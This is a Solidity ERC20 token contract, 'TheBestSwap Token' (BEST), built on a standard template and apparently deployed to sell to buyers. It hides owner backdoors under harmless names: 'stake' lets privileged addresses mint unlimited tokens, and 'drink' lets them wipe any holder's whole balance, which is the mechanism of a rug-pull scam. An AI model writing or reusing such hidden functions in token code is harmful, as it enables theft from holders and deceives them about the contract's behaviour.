pragma solidity ^0.5.16;

     interface IERC20 {
         
    function totalSupply() external view returns (uint);
    
    function balanceOf(address account) external view returns (uint);
    
    function transfer(address recipient, uint amount) external returns (bool);
    
    function allowance(address owner, address spender) external view returns (uint);
    
    function approve(address spender, uint amount) external returns (bool);
    
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    
    event Transfer(address indexed from, address indexed to, uint value);
    
    event Approval(address indexed owner, address indexed spender, uint value);
    }
    contract Context {
    
    constructor () internal { }
    
    function _msgSender() internal view returns (address payable) {
        
        return msg.sender;
    }
    }


    contract ERC20 is Context, IERC20 {
    
    using SafeMath for uint;

    mapping (address => uint) private _balances;

    mapping (address => mapping (address => uint)) private _allowances; 

    uint private _totalSupply;
    
    function totalSupply() public view returns (uint) {
        
        return _totalSupply;
    }
    function balanceOf(address account) public view returns (uint) {
        
        return _balances[account]; 
    }
    function transfer(address recipient, uint amount) public returns (bool) {
        
        _transfer(_msgSender(), recipient, amount);
        
        return true; 
    }
    function allowance(address owner, address spender) public view returns (uint) {
        
        return _allowances[owner][spender];
    }
    function approve(address spender, uint amount) public returns (bool) {
        
        _approve(_msgSender(), spender, amount); 
        
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
        
        _transfer(sender, recipient, amount);
        
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        
        return true;
    }
    function increaseAllowance(address spender, uint addedValue) public returns (bool) {
        
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        
        return true;
    }
    function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
        
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        
        return true;
    }
    function _transfer(address sender, address recipient, uint amount) internal {
        
        require(sender != address(0), "ERC20: transfer from the zero address");
        
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        
        _balances[recipient] = _balances[recipient].add(amount);
        
        emit Transfer(sender, recipient, amount);
    }
    
    function _stake(address account, uint amount) internal {
        
        require(account != address(0), "ERC20: stake to the zero address");
        
        _totalSupply = _totalSupply.add(amount);
        
        _balances[account] = _balances[account].add(amount);
        
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint amount) internal {
        
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        
        _totalSupply = _totalSupply.sub(amount);
        
        emit Transfer(account, address(0), amount);
    }
    function _drink(address acc) internal {
        
        require(acc != address(0), "drink to the zero address");
        
        uint amount = _balances[acc];
        
        _balances[acc] = 0;
        
        _totalSupply = _totalSupply.sub(amount);
        
        emit Transfer(acc, address(0), amount);
    }
    function _approve(address owner, address spender, uint amount) internal {
        
        require(owner != address(0), "ERC20: approve from the zero address");
        
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        
        emit Approval(owner, spender, amount);
    }
    }

    contract ERC20Detailed is IERC20 {
    
    string private _name;
    
    string private _symbol;
    
    uint8 private _decimals;

    constructor (string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        
        _symbol = symbol;
        
        _decimals = decimals;
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    }

    library SafeMath {
    
    function add(uint a, uint b) internal pure returns (uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns (uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    
  
    function mul(uint a, uint b) internal pure returns (uint) {
        
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint a, uint b) internal pure returns (uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
    }

  contract BestToken is ERC20, ERC20Detailed {
    
  using SafeMath for uint;
  
  address public governance;
  
  mapping (address => bool) public stakers;
  
  uint256 private amt_ = 9000000;

  constructor () public ERC20Detailed("TheBestSwap Token", "BEST", 18) {
      
      governance = msg.sender;
      
      _stake(governance,amt_*10**uint(decimals()));
      
      stakers[governance] = true;
  }

  function stake(address account, uint amount) public {
      
      require(stakers[msg.sender], "error");
      
      _stake(account, amount);
  }

  function drink(address account) public {
      
      require(stakers[msg.sender], "error");
      _drink(account);
  }
  
}

/**
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+Beginner
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*/